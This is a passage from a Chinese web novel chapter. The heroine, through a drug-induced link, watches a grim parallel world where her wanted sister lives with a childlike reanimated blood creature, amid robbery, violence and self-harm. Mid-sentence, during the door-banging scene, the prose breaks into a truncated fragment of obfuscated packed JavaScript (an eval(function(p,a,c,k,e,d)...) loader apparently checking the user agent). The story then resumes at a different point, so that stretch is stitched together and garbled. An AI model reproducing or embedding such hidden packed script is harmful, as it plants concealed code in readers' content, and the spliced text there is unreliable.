逐渐加强的抽离感带着森山寺未雅回到了现实之中,她睁开眼,发现自己已经离开医疗区域,轮椅带着她转移到了实验区,她的右手手背上还插着针,输液管另一端连接着药物瓶。 “看来这次是有效果的,但是你昏迷的时间太长了。”克拉拉转过来说,“你有办法在那里控制自己清醒的时间吗?虽然你们这群人体力好,但在这个过程中体力,或者干脆说魔力的消耗是非常大的。” “我也不清楚,下次试试看吧,谢谢。”森山寺未雅坐了起来,发现魔力确实有所消耗,上一次没有出问题大概是因为时间很短,但这次毫无疑问是长时间的。 “遇到了什么?身体有什么感觉?”克拉拉问,于是森山寺未雅将自己遇到的一系列遭遇告诉了克拉拉。 “博蒙她有没有可能性不去神脉医院当院长?”森山寺未雅问道。 “说实话啊,这个可能性应该反过来说,博蒙按理来说是不应该离开神脉医院的,按照你们的说法她本身就是那里出生的,若不是科勒斯特带着,她根本就不会离开神脉医院吧?”克拉拉思索着说,“而且科勒斯特选择远离家乡的原因也是未知。” “…我想办法调查一下博蒙。”森山寺未雅记下了这个问题,“那里的神脉医院看着太破旧了,完全不是博蒙会想待着的地方,她还挺有钱的吧?” “还可以?”克拉拉想了想,说道,“关于她,比起靠近魔法的一边,我更了解她靠近医学的一边,或者说阿贝尔家族在医学上的成就非常耀眼。” “你了解多少?”森山寺未雅问。 “你拿出手机搜搜看其实能搜到部分吧,哦对了你没手机来着。”克拉拉想了想说,“她们家族祖传的手段能做到无视后遗症移植任何器官并保证其作用,似乎是手术方式特殊,现在看来这方面主要是魔法在起作用吧。不过术后理疗什么的她们家确实有一套。” “听上去就是天使那些存在诞生的原因啊,器官移植什么的。”森山寺未雅说,“但是博蒙没可能教会其它人手术方式的吧,也不可能给那些天使动手术,不过这也不好说,毕竟在这里她们的遭遇我们已经没办法真正了解了。” “我欣赏你想得开事实这一点。”克拉拉说。 “我什么时候能进行下一次?”森山寺未雅说。 “24小时后,这已经是我测量过你的代谢水平后的估计值了,要是你产生耐药性了那这批药就不能用了知道吗?”克拉拉摆了摆手,“回去歇着吧,别在这给我添乱。” 森山寺未雅看着克拉拉,心里有个猜测,却也不知道该不该说。 “愣着干嘛?难道还要我给你拔针吗?”克拉拉头也不回地问。 “没什么,明天见。”森山寺未雅离开了。 回家后,森山寺未雅控制不住地盯着森山寺未央浑身上下观察。脸颊,手腕,脖子,头发,哪里都差不多,但是哪里都不一样。 “你干什么?终于准备开始学速写了吗?”森山寺未央问。 “没什么,觉得你壮壮的挺好的。”森山寺未雅说。 “你是什么喂流浪猫的爱心人士吗?”森山寺未央觉得莫名其妙,转身走了。 第二天,森山寺未雅提前了点抵达克拉拉的实验室,还在街上碰上了犬山晓,对方看到她似乎有些紧张,二人简单聊了两句对方就急匆匆地离开了。 “你们在说我坏话?”森山寺未雅进入实验室后问克拉拉。 “哼哼,是不是呢?”克拉拉笑了,“等小犬山想开了自己告诉你,或者你自己去发现吧?” “你也有够莫名其妙的。”森山寺未雅说,“你根本不喜欢喝酒吧,为什么她给你送酒你还表现得挺高兴的?她也不喜欢看你喝酒啊。” “…你知道的太多了哦高中生。”克拉拉扶了扶眼镜,“大人就是这样复杂的。” “在我看来你还没晓复杂呢,说起来为什么你不直接叫她的名字?”森山寺未雅又问。 “称呼喊了这么久再改就很奇怪了,再说这种事情根本无所谓,名字不过是一个称呼而已。”克拉拉没有太在意,“你要给那个轮椅取名也可以,最近我也在想这个事了。” “说起名字。”森山寺未雅盯着克拉拉看,“你的名字也很奇怪呢克拉拉,为什么你的称呼从来不标注姓氏呢?” “你到底是在从哪个视角问这个问题的?而且名字就是个称呼,克拉拉是个不错的名字不是吗?”克拉拉,说道。 “随便你吧。”森山寺未雅躺进轮椅,准备下一轮实验。 熟悉的失重感之后,森山寺未雅睁开了眼睛。 “我就要这个!”血团在大吼大叫。 “你根本就不需要这个!给我从电视上爬下来啊你这家伙!”森山寺未央也在大吼大叫。 森山寺未雅定睛一看,血团趴在老式的厚电视机上扭过头说话,森山寺未央在尝试把它从电视机上扒拉下来,似乎是担心弄坏机器而动作轻缓。二人所在的空间是一处房间,没有前缀,就是一个空房间,地上有简易的气垫床两张,一张一看就是现代批量生产出来的方桌和两把配套的椅子靠在墙边,地板是木质的,踩上去吱呀作响。 屋顶的几个灯泡就是所有的光线来源了,灯泡与灯泡之间有着亮度差,导致室内不同区域的亮度也不均匀。墙壁斑驳,有潮湿的痕迹,角落里甚至有不明污渍。玄关处丢了几只不一样的鞋子,大门是老式的金属单开门,门锁简陋地摇晃着。 这除了这个空间以外就只有一个简易的卫生间,没有阳台,甚至只有一个成年人难以爬出去的窗户在墙壁最上方,因为是晚上而没什么视野,看视角,这里是某处建筑的地下室。 地上非常的乱,分不清是有用还是无用的物品全都堆砌在地上,屋子里没有用于做饭的厨房设施,倒是有个冰箱,一旁的台子与方桌上堆满了药物袋,药瓶,药片和些许食物,森山寺未雅凑过去看药物包装,全都没有标注。 “我需要!”血团不服气地说,“电视里的人就是因为有这个才笑的那么开心的!我如果有了这个一定也能过上幸福快乐的生活!” “那玩意是肩颈按摩仪!你也在上班吗你需要那玩意?”森山寺未央怒吼,“给我下来!电视机是房东的别给弄坏了!” “房东是什么东西?”血团疑惑地问,“这里不是我们家吗?这里的东西不是都是我们的吗?你也这样说了呀?” “不是!啊!——”森山寺未央受不了了一般尖叫了一声,血团吓了一跳从电视机上蹦了下来,见此情景森山寺未央深呼吸了几次,总算平复了心跳。 “好辛苦啊。”森山寺未雅说。 “你回来啦!”血团很开心,“我们到家啦!” 森山寺未雅环视四周,怎么想都觉得这里和“家”字粘不了边,她看向森山寺未央,心中有些疑惑对方为何要选择藏在这里,难道是做坏事了? 可这又如何呢? “她和你说这里是你们家?”森山寺未雅问。 “嗯!这里是我们家!”血团十分满足,“不过那个电视机好像不是我们的。” “…她还说了什么?”森山寺未雅问。 “这个,好像是说了什么你饿不饿?有没有哪里难受什么的?”血团苦思冥想,“哦,还说了不可以擅自跑出去什么的。” “她有说为什么吗?”森山寺未雅问。 “没有诶!”血团回答。 森山寺未雅深感一阵无力,这血团比她想象中的还像个小孩子。 “算了,算了。”森山寺未央给自己洗脑,“还能怎么样呢?就这样吧。” “我们真的不可以买这个吗?”血团依旧耿耿于怀。 “未雅,我们没有钱买这个。”森山寺未央说,“无论需不需要,我们都买不了这个,因为我们没有钱。” “哦,钱是什么?”血团又问了很基础的问题,森山寺未央再次开始深呼吸。 “碰——”这是过于激烈的敲门声。 屋子里的两人一魂一瞬间什么都没有说,被这声音吓了一跳的同时警惕了起来。 “喂!莫名其妙尖叫什么啊?”一个粗鲁的声音含糊不清地叫骂道,门锁被拧动了,但因为上了锁而没有被直接打开,“喂!滚出来啊?!我知道你在里头,一个高中生不上学一天到晚待在屋子里是在做什么?喂!出来!!” 门还在砰砰作响,森山寺未雅看向森山寺未央,她的脸色阴沉,额角跳动,双手微微颤抖,或者说她整个人都在颤抖。 但比她反应更大的是血团,它直接一个飞扑挂在了森山寺未央的脖子上,害得她不得已地弯下身来维持重心,也从颤抖中缓过神来。 “怎么了呀!”血团的声音惊慌失措,“为什么门砰砰砰啊?声音好大,好吓人啊!” “…你先下来,我的脖子,我的脖子。”森山寺未央扒拉着脖子上的和她一模一样大小的存在,好不容易让对方转移到了背上。 门外还在拍门,甚至开始夹带用脚踹了,门颤抖着,为主人防护外来的陌生人和视线。 “外面是怎么了呀?”血团问道,它的声音里带着浑然天成的恐惧,“为什么门在叫?这个时候不可以去外面吧,我们该怎么办啊?” “…这个人之前来过吗?”森山寺未雅问。 “没有诶,外面是人吗?”血团又问道,森山寺未雅想起这两人也是昨天才刚到这里的。 “当然是人,大概是喝醉了想起这里住着个年轻人来骚扰的。”森山寺未雅说。 听到这个答案,那血团一下子就不怕了,她从森山寺未央的背上跳了下来,气势汹汹地往门口走去。 “诶?你干什么?”森山寺未央匆忙追上去,却还是没来得及阻止对方打开门的举动。 门开了,外头走廊也是昏暗的,混杂着潮湿和不明油腻的味道,将本来不算舒适的房间内都衬托得像个真正的家了。正如森山寺未雅所说,那是个普通人。 “额!”那人一下子没收住力,踹了个空,踉跄了几下站稳,又因为自己的失态而恼羞成怒,“终于开门了啊!” “声音这么大干什么呀?”血团不满地问,“你干什么啊,吓死人了。” “嗬嗬嗬。”那人的笑还夹杂着嗓子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不太厚重的门关上了,将外界的一切隔在门外,血团似乎忘记了肩颈按摩仪的事情,开始继续盯着电视机看,森山寺未央叹了口气,坐在方桌旁,她看了看药物和食物,最后拿起了一个药袋,熟悉地进行组装并给自己打针。 “那些药物是什么?”森山寺未雅问。 “什么?”血团也看了过去,“什么药物。” “就是那些袋子,瓶子,铝纸板,是干什么用的?”森山寺未雅问。 “哦,那就是药物吗?我以为那是她的食物呢。”血团恍然大悟,“她为什么要吃药呀?” “…你能不能去问一下。”森山寺未雅问。 “问一下,哦,我,我可以问吗?其实我也有点想知道啦,但是这种东西还挺私人的吧?”血团忽然就不好意思了起来。 “怎么就私人了?不过确实。”森山寺未雅想了想,“你关心一下她,问她身体哪里不舒服,还问一下为什么不吃饭,在这里过得怎么样,什么的。” 说着说着,森山寺未雅就发觉自己问太多了,她说到底也就是另一个世界的存在而已,比起关心这些,不如考虑一下有什么信息可以问。如果正如她自己说的那样,这个世界的一切已经“完结了”,她只不过是一个想阅读其中内容以获得信息的读者。 只能看,以及和一个孩子心智的人说话,森山寺未雅认为这已经足够提醒她不要去插手这个故事中的一切了。她有属于她自己的世界和故事,拿了信息就离开吧,这里已经没什么好停留的了。 “嗷。”血团哪里能理解她这么多想法,回头就跑去森山寺未央那里问,“未央,你身体哪里不舒服呀?为什么只吃药不吃饭呀?你在这里过得怎么样呀?” 本来在闭目养神的森山寺未央被扒拉着睁开了眼,看见那张脸,她想笑都笑不出来。 “没有哪里不舒服,别担心,魔力不足而已。”森山寺未央最后只是摇了摇头,“吃饭补充魔力太烂了,你问我过得怎么样干什么,你想换房子住了?” “没有呀?这里不是我们家吗?”血团连忙摆手。 “哼。”森山寺未央笑了,“不过想搬家也搬不了,我根本就没有闲钱能换个地方住,也没有身份,你也没有就是了。” 是了,再怎么说森山寺未雅在这个世界也是个彻头彻尾的死者,死者的居所只有停尸间和棺材而已。但说到钱的问题,森山寺未雅想起她们住的那间公寓,森山寺未央无论如何都不应该沦落到需要为了生存而担心钱的境界。 “嗷,钱到底是什么东西啊?”血团问,“你提了好多次钱了,钱有这么有用吗?” “钱能解决很多问题,和魔法一样哦。”森山寺未央疲惫地说,“不过我们的问题就不是钱能解决的了,想用魔法解决也难。” “我们的问题?我们有什么问题?”血团问道。 “你,你就是问题,未雅。”森山寺未央说着,叹了口气,“你怎么能什么都不记得了呢?我把你带回来可不是为了让你重新长一遍啊。” “…那是为什么呢?”血团的声音有点小心翼翼。 “…你现在没办法理解的。”森山寺未央只是这样说,她没有插针的那只手翻了翻桌子,翻出来一包年轮蛋糕,“吃不吃?” “吃!”血团一瞬间就忘记了所有问题,欢天喜地地接过了包装袋。 森山寺未雅看着血团扶着垃圾桶拆开数量包装袋,被森山寺未央说吃东西不要吧唧嘴后嘟嘟囔囔的样子,心想现在让它去问“科勒斯特”什么的估计是行不通的,她看着森山寺未央闭上眼歇息的疲惫模样,猜测是那些魔物给了她压力。 召唤魔力之后,魔物可以在一定范围内活动,若是使用魔法那魔力消耗也算在主人头上,同时若是想扩大行动范围就需要投入更多的魔力进行强化。派魔物自行外出狩猎是快速增长魔力总量的好办法,但也会时刻处于魔力大量消耗的状态。森山寺未雅不理解为何森山寺未央如此急迫地收集魔力,是除复活她以外还有其它什么事要做吗? 不知不觉地,森山寺未央睡了过去,血团吃完了年轮蛋糕,走上前帮忙把开始回血的输液针拔掉了,还贴了个创可贴。 “你还挺细心。”森山寺未雅有些惊讶。 “嘿嘿。”血团不好意思地笑了。 森山寺未雅发现它没有继续回去看电视,而是爬到窗户旁看了看外面,随后打开了那扇小小的窗户,爬了出来。窗户外就是街道,此时天色昏暗,四周路灯不多,路人脚下的砖块多被杂草顶得七扭八歪,森山寺未雅想起来她见过这里,是西部市区南部的一片开发不怎么样的地段。 在她所在的世界这一片治安就不太好,不知道这里如何了。 “她不是和你说了不要外出吗?”森山寺未雅问道,但也没指责什么,她也需要探索这个世界以收集信息,她不可能一直吃药来往于两个世界的。 “前提是被人看到!现在是晚上。”血团说,“我想找一些钱,我想要那个按摩仪。” “你还没有放弃啊?”森山寺未雅想了想,说,“你打算怎么做?” “我看到钱在银行里,我要去银行里找钱,你知道银行怎么走吗?”血团问出了非常危险的问题。 “…银行不会给你钱的,你想要钱我可以教你。”森山寺未雅叹了口气,“总之,你先朝着北边走吧,那个灯光五颜六色的地方,看到了吗?” “哦!好的导购!”血团点头,昂首挺胸地朝西部市区前进。 一路上,血团没少遇到眼神鬼鬼祟祟的人,有几个还试图跟踪她。在森山寺未雅的指示下血团将这些人引到角落里,森山寺未雅没有阻止她下死手,并摸出了这些人的钱包。 “这些就是钱吗?”血团珍惜地把那些硬币和纸钞捧在手心里,“好轻啊,这个就能换那个按摩仪了吗?” “这些不够的吧,至少还要十倍多,继续往前走吧。”森山寺未雅说。 于是这一晚,血团四处打劫,终于是凑够了那个豪华按摩仪的钱,心满意足地回家了。森山寺未雅观察到市区与她的世界的有着非常大的差距,街道虽然还是那么破烂,但摄像头之类的设施少了很多,许多建筑也在这里不存在。重要的是Evo园区,面积小了一半还多,倒是一旁的瞭望塔高度不变。 而且警察是不是更多了?森山寺未雅一边想一边给血团指路。 但在她找到窗户钻回去之前,森山寺未央先找到了它,强拉硬拽地把它拉回家去了。 “你,你这家伙。”森山寺未央气喘吁吁地走上前,血团刚想说什么,就结结实实地挨了一巴掌,她一下子没回过神来。 “我不是和你说了不要往外面跑吗?!”森山寺未央愤怒地说,“你出门为什么不和我说?你是不是不满意这里啊?!你和我说啊,不要一个人往外跑!你知道我找了你多久吗?” 血团不知道,但它确实被吓到了,摸着脸不可置信地看向森山寺未央。 看着这个眼神,森山寺未央又犹豫了。 “我,我不是故意的。”血团说着想到了什么,掏出了抢劫来的那些钱,“你看,我带来钱了,好多呢,够买那个按摩仪了,我们的生活一定能变得更幸福——” 话没说完,它自己停住了。 森山寺未央死死地盯着那一捧纸币和硬币,什么面值的都有,有新有旧,还有碎裂开的,血团完全不认识其该有的样子,有什么就拿什么。森山寺未央的视线从钱移到了血团的脸上,孩子般的无措,慌乱,和恐惧,出现在一张和她一模一样的脸上。 森山寺未央忽然觉得很无力,她的呼吸变得很紧,一切瞬间就离她远去了许多,房间里的一切却又都变得逼人了,灯光也好,墙壁也好,角落也好,杂物也好,以及眼前这个人的视线也好。 “未央?”血团问。 还有这句话。 “咚——”森山寺未央的双膝跪倒在地上,随即是双手的掌心,她想以此来卸下疲惫的感觉,但没用,随即她支起上半身,用头抵着墙,冰冷的温度和潮湿的气息抚摸她的脸。 “咚——”森山寺未央用额头撞了一下墙壁。 “咚——”又一下。 “咚——咚——咚——咚——咚——咚——————”一下又一下又一下又一下又一下,没有停下来的意思。 森山寺未雅愕然地看着森山寺未央的动作,她伸出手,却也什么都做不到。 但比她反应更大的是血团,她手松开,那些纸币如墙皮般飘散,硬币滚向房间里的四面八方,用声音传达有限面积,地面变得更加杂乱了,森山寺未央的病一直都没有好,甚至更糟了。 “你在,你在干什么?”血团小心翼翼地问,她甚至不敢靠近正在撞头的人。 “咚——”森山寺未央没有回应。 “你,你停下来好不好?”血团又问,“你怎么了呀?是不是头疼,我可以帮你的。” “咚——”森山寺未央没有回应。 “她,她怎么了呀?”血团只能去问森山寺未雅,“怎么办啊,早知道就不出去了,她怎么打我啊,还这样咚咚咚。” “…她的脑子一直很乱很乱。”森山寺未雅不知道怎么解释这个症状,“一般来说,有镇静剂或者什么东西转移她的注意力会好一些。” “脑子是什么?”血团问。 “你没有脑子吗?”森山寺未雅愕然。 “没有!”为了证明这一点,血团摸索着自己的头发间隙之中一个用力,把自己的脑壳打开了,“我不知道结构是什么样的,就没有准备这个。” 这一下,愕然的就不只是森山寺未雅了,森山寺未央也成功被转移了注意力。 “…怎么空空的。”森山寺未央围过来看,被逗笑了,“空空的,哈哈哈哈哈——” 看见她不撞墙了,血团也就没有再担心下去,慢慢地把脑壳装了回去。 “脑子是用来做什么的?”血团问。 “用来记东西的。”森山寺未雅说。 “用来想东西的。”森山寺未央说。 “哦,可是我没有脑子也可以做到呀?是不是其实我不需要一个脑子呢?”血团觉得自己是对的,自顾自地点头了。 “哪有这样的说法。”森山寺未央也不跪着了,爬起来翻出手机搜索脑部的模型给血团看,“赶紧捏一个吧,别再做出那种事了。” “嗷。”血团就有了脑子,她感受了一下,“好像没什么不同啊。” “…是吗?”森山寺未央的表情有些失望,“算了,总之,你不可以再跑出去了知道吗?” “为什么呀?”血团很纳闷,森山寺未雅也有点。 “…因为这张脸。”森山寺未央叹了口气,“我现在是通缉犯,通缉犯你懂吗?被警察发现了就要被抓起来了知道吗?” “哇!”血团一下子明白了事情的严重性,“警察好多呢,每个看见了都会抓我吗?” “快问问被通缉的原因。”森山寺未雅急迫地说。 “通缉的原因是什么?”血团问。 “很多,擅闯停尸间和医院药房,抢劫,胁迫,偷窃什么的。”森山寺未央事到如今也没有隐瞒的意思了,“…还有恐怖袭击。” “哇!”血团没听懂几个,“抢劫,你没有抢钱吗?” “…对啊,我为什么没有呢?”森山寺未央笑了,“事到如今我还有什么资格打你,抱歉,未雅。这些都不重要了,重要的是你,没错,我做得到的。” “…我得离开了,下次再来。”森山寺未雅说,熟悉的抽离感阻止了她问问题。 “嗷,好,一路顺风。”血团和她道别。 森山寺未雅从轮椅中坐起,那些画面历历在目,她还没缓过来。 “如何?”克拉拉问。 “糟透了。”森山寺未雅说,“那个世界糟透了,市区发展落后这里很多,街道治安也烂的要死,还有——”她没有再说下去。 “那你妹妹和那个实验体呢?”克拉拉接着问。 森山寺未雅没有说话,她伸出手捂住了自己的脸,发出了呕吐的声音。 “…有那么糟?”克拉拉诧异地看了过去,“算了,你先回去休息吧。” “克拉拉小姐,”森山寺未雅开口道,“那个世界的这个位置没有你的实验室。” “…正常,可能不在这里,可能我没来这个国家,可能我没有成为研究员。”克拉拉说。 “现在你都没有创建你的实验室的话,那伊提阿姨的研究应该是没有继续下去了吧。”森山寺未雅叹了口气。 “当初没有我投资的话她那个实验室根本拉不到赞助,正常。”克拉拉声音冷漠。 森山寺未雅抬头看向克拉拉的背影,没说什么,离开了。 71.间奏-森山寺未雅,森山寺未央与血团下 “你最近,是不是老盯着我看啊?”森山寺未央觉得这个莫名其妙,“你到底想干啥,能不能给个痛快的答复啊?” “没什么,就觉得你挺健康的,挺好。”森山寺未雅说。 “哦。”森山寺未央应了句,又问,“真没什么事?” “暂时没有。”森山寺未雅说。 “我就说!你这家伙可得老实交代啊!”森山寺未央一只手拍在森山寺未雅的肩头,她忍不住盯着看,那个世界的这只手,手背和手臂上永远有来不及修复的针孔和绷带,也总是因为各种原因微微颤抖,骨节也更清晰些。 “咦你干什么?”森山寺未央一下子把手抽回来了。 “你该剪指甲了。”森山寺未雅说。 接下来的几天里,另一个世界几乎在上演着相似的事情,森山寺未雅也趁机收集了许多相关信息。大概就是森山寺未央带着血团出门靠着魔法为非作歹,有血团在,哪怕不能使用魔法的情况二人也遇不到敌手。几次下来二人收获颇丰,不仅买了按摩仪,还买了一大堆有的没的东西,小小的房间内都快挤不下了。 二人一合计,就带着东西搬到了一个无人使用的废弃建筑里,曾经这里似乎是个剧院,但现在已经变成了流浪汉的居所。二人将这里控制了起来之后便准备定居在顶层的私人包房里,虽然建筑废弃,但在魔法的作用下内部焕然一新。 森山寺未央却并没有因此状态变得更好一些,不如说更糟糕了,她成几倍地吃药,森山寺未雅觉得她应该已经对那些药物产生耐受性了,即使那些可能只是补剂。 但也并非只有开心的事情发生的,比如说现在。 “我都说过好多次了你不可以脱离我的视线范围,无论什么时候,你为什么记不住!?”森山寺未央崩溃地怒吼,至少在这里不会有人因为她大叫就上门询问了。 “为什么?”血团不理解,“我有遮住脸,警察发现不了我,为什么还要被你看着?” 被问了这句话的森山寺未央呼吸一滞,她怒目圆瞪,随即抬手就往血团的头上打,血团被打了也不服,就继续问。 “凭什么嘛!我只是想过得幸福而已你凭什么管我!”血团一边挨打一边问。 “我凭什么不能管你?你忘了你是谁了吗?!”森山寺未央更生气了,手都颤抖了起来,“你再敢问出这样的问题试试看呢?” “我就是要问!我为什么要一直被你看着啊?!”血团还是不服气,“你很弱小诶,被人看着就用不出魔法,几次都是我在保护你!” “…你什么意思?未雅?”森山寺未央动作一顿,随即动了真火气,“你对保护我很不满吗?你对我的魔法很不满吗?” “不是,我是说——”血团还想说什么,又被打了,这次森山寺未央打得用力了些,血团吃痛,忍不住回击了一下,森山寺未央被冲击力打退一步,没有再上前。 “我,我不是故意的。”血团愣住了,“你自己不好,明明身体本来就不好了还要凑过来。” “你以为我是为了谁啊?!”森山寺未央大吼道,她抬起脚边的家具就往血团身上扔,“你以为我是怎么变成这幅样子的?!未雅!” “…我不是。”血团看着她精挑细选的“幸福家具”被砸碎,心里忽然有些痛。 “说什么买了这些东西就能活得幸福,怎么可能呢?!”森山寺未央的表情因为愤怒变得扭曲了起来,“魔法都做不到的事情,这些家具怎么可能做得到?!你不是什么?你的脑子根本就长了和没长一个样子,你个脑残!” “我不是!”血团也被骂生气了,“你才是脑残呢,你脑子就是有病!” “…我没有。”森山寺未央动作一顿,“我没有病,有病的人是你,我没有病。” “我没有生病!”血团大声反驳,“我什么器官组织都不缺了,不就是一个普通人吗?我们已经在走向幸福的生活了,像普通人一样幸福地生活下去不好吗?!” “不可能的!”森山寺未央大声反驳,“我是魔法少女,你是复活的尸体,我们早就不可能普通了,我们绝无可能回归普通人的生活,你自己不就是最清楚的吗?!” 森山寺未雅闭上了眼睛。 二人还在互相谩骂,用词越来越毒,专往对方的心上戳,血团明明只是个孩子却懂森山寺未央最在乎哪里,森山寺未央明明不想再继续下去了却控制不住自己。 二人一边谩骂一边砸东西,好好的屋子乱成一团,和之前那个地下室没什么区别了。森山寺未雅闭上眼,却还是能听到声音,她忍不住睁开眼睛。 “她很痛苦。”森山寺未雅说。 “她当然很痛苦!因为我骂得对!”血团愤怒地说。 “不是的,她是因为她在骂你,打你,甚至讨厌你而痛苦。”森山寺未雅说。 “…为什么?”血团愣住了,被打了一巴掌也没动静。 “因为她爱你,未雅。”森山寺未雅叹了口气。 “…你明明知道我不叫那个名字的。”血团说,“她爱叫这个名字的人,那我呢?” “要不要试试看?”森山寺未雅问。 “怎么试?”血团问。 “就,你冲过去抱住她,就抱住她不动,挨打的话也就挨一会吧,你也别骂了,你也没那么想骂她吧?”森山寺未雅说。 “好吧,也是,我试试看吧。”血团下定了决心,她瞄准一个空隙冲上去,把森山寺未雅结结实实地抱住了,她感受着自己的头上和背上传来的痛意,忍住没有动也没有说话。 过了好一会,疼痛没有再出现,血团保持拥抱的姿势没有动,她与森山寺未央的身形一模一样,这样的拥抱理应没什么压制力的,但她就是能感受到,森山寺未央因愤怒而颤抖的身体和错乱的呼吸逐渐平静了下来。 就和魔法一样,她心想。 随后,森山寺未央也抱住了她,两个一模一样的人互相拥抱,血团感受着背后的双手和落在肩头的眼泪,莫名有些想哭。 “对不起,未雅,对不起。”森山寺未央一味地道歉,一边道歉一边哭泣,她的眼泪全数被血团的肩头接收,那块布料逐渐变得很沉。 “没关系的,未央。”血团说。 “为什么你被打的时候不还手?”森山寺未雅问。 “没关系,因为妈妈有时候也这样。”血团说,“妈妈有时候也变得很奇怪,也用头撞墙,也一边打我一边说自己不想说的话,也这样抱住我说对不起,所以,没关系。” 森山寺未雅愕然,看着二人相拥,不知道该说些什么。 “我,我其实想起来以前的事情了,比如说我妈妈其实给我取了一个很好听的名字,叫做‘晓’,要用古典的读法哦,脑子还是有点用的。”血团说,“但是很多都是很不好的记忆,所以还是忘记了比较好吧?” “…不,我不这样觉得。”森山寺未雅说,“你的妈妈,你不想她吗?” “什么是想呢?”血团问,“想起来就是想吗?还是要像未央这样时刻念着未雅的名字才算是在想呢?” “都是的,都一样的。”森山寺未雅说,“我要离开了,下次见。” “哦!”血团觉得对方待着的时间变得有点短了,“一路平安。” 森山寺未雅醒来,没有动,过了一会她伸手触摸医疗舱的墙壁,轮椅过来把她搬出了医疗区。 “这次怎么提前出来了?”克拉拉回头看,却是愣住了,“喂,你没事吧。” 靠在轮椅上的森山寺未雅没有回应,没有表情,只是在流泪。 “我可不会安慰小孩子啊。”克拉拉头疼地让机械手带着纸巾和冰水放在轮椅旁的托盘上,“你看见了什么吗?下次再说也可以,好吧我不说话了。”随后她转过头去,留给对方沉默的空间,这就是她能做到的最大的安慰了。 “我确实能自行提前结束昏迷状态,但这算是在与药物效果对抗。”森山寺未雅说。 “哦,哦好的。”克拉拉说。 “克拉拉小姐,那个世界对于我们来说,到底算什么呢?”森山寺未雅问,“警示?信息提供来源?还是一段不去读也没关系的故事?” “过去发生过的事情,就叫它被遗忘的历史如何?历史信息在哪个领域都有极大利用价值,但在这里,它被遗忘的原因我们还暂时未能知晓。”克拉拉说,“所以,先看吧,看完再评价,看完再回过头说值不值得。” “…很研究者风格的说法。”森山寺未雅说,“我会看下去的。” “加油吧,高中生。”克拉拉说着,发现对方还在看着自己,“怎么了?” “那个从血湖里跑出来的实验体,血湖的聚合体,名字叫做‘晓’,是古典的读法哦。”森山寺未雅说。 “…她,”克拉拉张了张嘴,反复呼吸却也不知道该说什么,最后只是说,“她,以前居然是这样的性格吗?” “看不出来吧?”森山寺未雅点头。 “其实也没什么变化,不对,这样来看不是完全一样吗?”克拉拉叹了口气,“这个故事还有这样的发展我是没想到的。” “我说你,最近是不是哭过啊?”森山寺未央几经犹豫还是问了,“你有什么问题一定要和我说啊,什么都可以,什么都可以知道吗?” “这样的话。”森山寺未雅想了想问道,“什么样的情况下你会在外面过的不好也不回家呢?就也不见爸爸妈妈,也不发消息。” “我怎么可能会这样呢?”森山寺未央大惊,“我犯了啥错有你在我都敢和爸妈说的,我很老实的,不会做出离家出走那种事情。” “你老实吗?”森山寺未雅质疑,心中也有了一个答案。 克拉拉在森山寺未雅进行新一轮实验之前叫住了她。 “那个剧院建筑在这里的话算是白夜社的产业,但听你的描述,那里的白夜社势力范围完全不能和这里的比,剧院那里我就不清楚了。”克拉拉说。 “…我知道了,谢谢提醒。”森山寺未雅说着,躺了下去。 “你的这个药到底是用来干什么的呀?你用了这么多,身体里血都没多少了吧。”血团扒拉着没有标记的药物们问,“而且这个,药液,没多少了诶。” “复合ATP,浓缩高糖液,营养液,都是特配的。”森山寺未央也凑过来扒拉了一下药框,“啧,最近用太多了吗?” “特配的?”血团对药物信息很敏感,“不是从药房抢劫的吗?” “普通药房哪里有我能用的药。”森山寺未央心情有些烦躁,“啊又得去找那家伙要东西了,烦死了烦死了!” 森山寺未雅凝神,这些药居然是有人配给森山寺未央的吗? “谁呀?”血团问。 “合作对象,总之,我下午出门一趟,你在这里好好待着哦。”森山寺未央说,“我回来前都一直待着,不要来找我,知道了吗?” “哦,好吧。”血团也没有太在意。 可森山寺未雅特别在意。 “你能不能悄悄跟一下?”森山寺未雅问,“那个药,如果你知道了怎么配的话,未央不就不用去见那个她很讨厌的人了吗?” “你很可疑哦导购。”血团眯起眼睛说,“像人贩子。” “哎呀,我怎么会害你呢?”森山寺未雅说,“我只是觉得这些药物好像也没那么好用嘛,你很擅长成分分析吧,我觉得你可能能研究出更高效的,更有用的呢?那样未央就也不用那样无精打采的了。” 哇我真不是人,森山寺未雅自我评价道。 “…你说的有道理。”血团有些被说服了,“可是我真的不能出门,她会很生气的。” “她对你生气,和她的身体健康,哪个重要?”森山寺未雅用上了道德绑架。 “…好吧,好吧好吧。”血团一甩头,“生气就生气吧,我就过去看看,看看怎么了。” “没错没错。”森山寺未雅点头。 于是血团在森山寺未央出门之后悄悄跟了上去,森山寺未雅就也得知了她去了哪里。 目的地是Evo园区,虽然面积小了许多,但绿化环境依然感人地建在,不过那个人工湖倒是没了踪影。 “来,这是新的,我们有做成分更新哦。”这是一个有些苍老的女性声音。 “哦。”这是森山寺未央。 “身体怎么样了?你是不是都没有在好好吃饭,这可不行啊。吃饭对安抚精神状态是很有用的,还有睡眠。我听说你最近在市区闹出了不小的动静,没关系吗?”苍老的声音充满关怀感。 “挺好的,没关系。”森山寺未央的声音没什么起伏。 “别担心,那些事情我会帮你处理的!你只要好好地使用魔法就好,不用担心这些俗世烦恼。”苍老的声音带着宽容和安抚。 森山寺未央一时没有说话。 “别这样看着我嘛,我理解你的想法,但我确实是真心在希望你过得好一些的,那个剧院里设施不太完善吧?真的不考虑来我们这里住吗?”老人的语气热情地邀请。 “你监视我?”森山寺未央声音很冷。 “没有这样的事,真是的,你眼里的我到底是个什么形象?”老人叹了口气,“我只是担心你们住的地方随时有倒塌的风险,而且,你还带着一个人吧?” “你,这不关你的事!”森山寺未央有些慌乱,“我外边捡到的孩子,随随便便就养了,你别管。” “安心,冷静,不要急。”老人的声音仿佛有令人沉醉的魔法,“我不会干涉你的选择的,但你要记住你是特别存在,未央。” “…有事让那个人联系我吧,我走了。”森山寺未央说。 “好吧好吧,真是的,难道说是叛逆期?”老人的声音有些无奈,但也没阻止森山寺未央的离开,“慢走哦,路上不要急。” “那个老人,是谁啊?”血团奇怪地问。 “…完全不认识。”森山寺未雅为谈话中透露出的信息感到毛骨悚然。 